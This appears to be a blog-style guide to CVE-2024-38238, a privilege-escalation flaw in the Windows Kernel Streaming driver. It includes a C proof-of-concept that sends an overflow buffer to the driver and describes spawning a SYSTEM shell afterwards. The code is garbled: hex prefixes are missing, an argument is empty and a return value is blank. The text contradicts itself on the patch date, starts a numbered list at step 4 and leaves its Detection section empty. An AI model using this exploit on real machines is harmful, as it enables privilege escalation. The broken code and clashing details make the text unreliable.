In June 2024, Microsoft patched a dangerous vulnerability affecting Windows systems: CVE-2024-38238. This security issue strikes the *Kernel Streaming Service Driver* (ks.sys), allowing local attackers to escalate their privileges – potentially turning a limited user account into a full system-level shell.

This exclusive guide walks you through what CVE-2024-38238 is, how the vulnerability works, and even provides a simple code snippet for understanding/exploitation. The focus is educational and should not be used for unauthorized access.

What is the Kernel Streaming Service Driver?

The *Kernel Streaming Service* is a legacy driver that handles streaming (like audio/video pipelines) at the kernel level in Windows. It’s always loaded, accessible from user mode, and—unfortunately—historically plagued by security issues.

Vulnerability Details

CVE-2024-38238 is an *Elevation of Privilege* (EoP) vulnerability. An authenticated user with local access can send specifically crafted input (IOCTL requests) to the driver, causing it to perform actions with SYSTEM permissions.

The driver exposes an IOCTL interface with poor input validation.

- A user can trigger a buffer overflow by providing a crafted input buffer to a certain IOCTL code.

Original References

- Microsoft Security Update Guide - CVE-2024-38238
- CISA KEV Catalog - CVE-2024-38238
- Windows Kernel Streaming (MSDN)

Proof-of-Concept Code

Below is a stripped-down exploit example in C, designed for educational research. This code opens a handle to the KS device and sends a malicious buffer to trigger the bug.

> ⚠️ *WARNING: Use responsibly on non-production, isolated lab machines. This is for educational and defensive research.*

#include <windows.h>
#include <stdio.h>

#define DEVICE "\\\\.\\ks"
#define IOCTL_CODE x002200B // Example; real code may vary

int main() {
    HANDLE hDevice = CreateFileA(
        DEVICE, GENERIC_READ | GENERIC_WRITE, , NULL,
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
    );
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open device: %d\n", GetLastError());
        return 1;
    }

    // Craft overflow buffer (size and content may vary per PoC)
    BYTE buffer[x100] = {};
    memset(buffer, 'A', sizeof(buffer));

    DWORD bytesReturned;
    BOOL success = DeviceIoControl(
        hDevice, IOCTL_CODE,
        buffer, sizeof(buffer),
        buffer, sizeof(buffer),
        &bytesReturned, NULL
    );

    if (success) {
        printf("[+] IOCTL sent, check for privilege escalation!\n");
    } else {
        printf("[-] IOCTL failed: %d\n", GetLastError());
    }

    CloseHandle(hDevice);
    return ;
}

IOCTL_CODE: You must use the correct code for your environment and Windows build.

- Buffer: Adjust size/content for reliable exploitation.

Send a crafted IOCTL with a malicious buffer to exploit the overflow.

4. Gain SYSTEM privileges: If successful, you may inject yourself into a SYSTEM process or spawn a SYSTEM shell.

Mitigation and Detection

Mitigation:

Block non-admin users from accessing legacy drivers, if possible.

Detection:

Conclusion

CVE-2024-38238 highlights the persistent risk of legacy drivers in modern Windows systems. If left unpatched, it enables attackers to go from standard user to SYSTEM—making ransomware, malware, or offensive operations much easier. Always keep your systems up-to-date, monitor driver usage, and review your legacy component exposure.

Reference links:
- Microsoft Advisory
- CISA Catalog
- MSDN - KS.sys

Timeline

Published on: 09/10/2024 17:15:27 UTC
Last modified on: 10/08/2024 23:23:26 UTC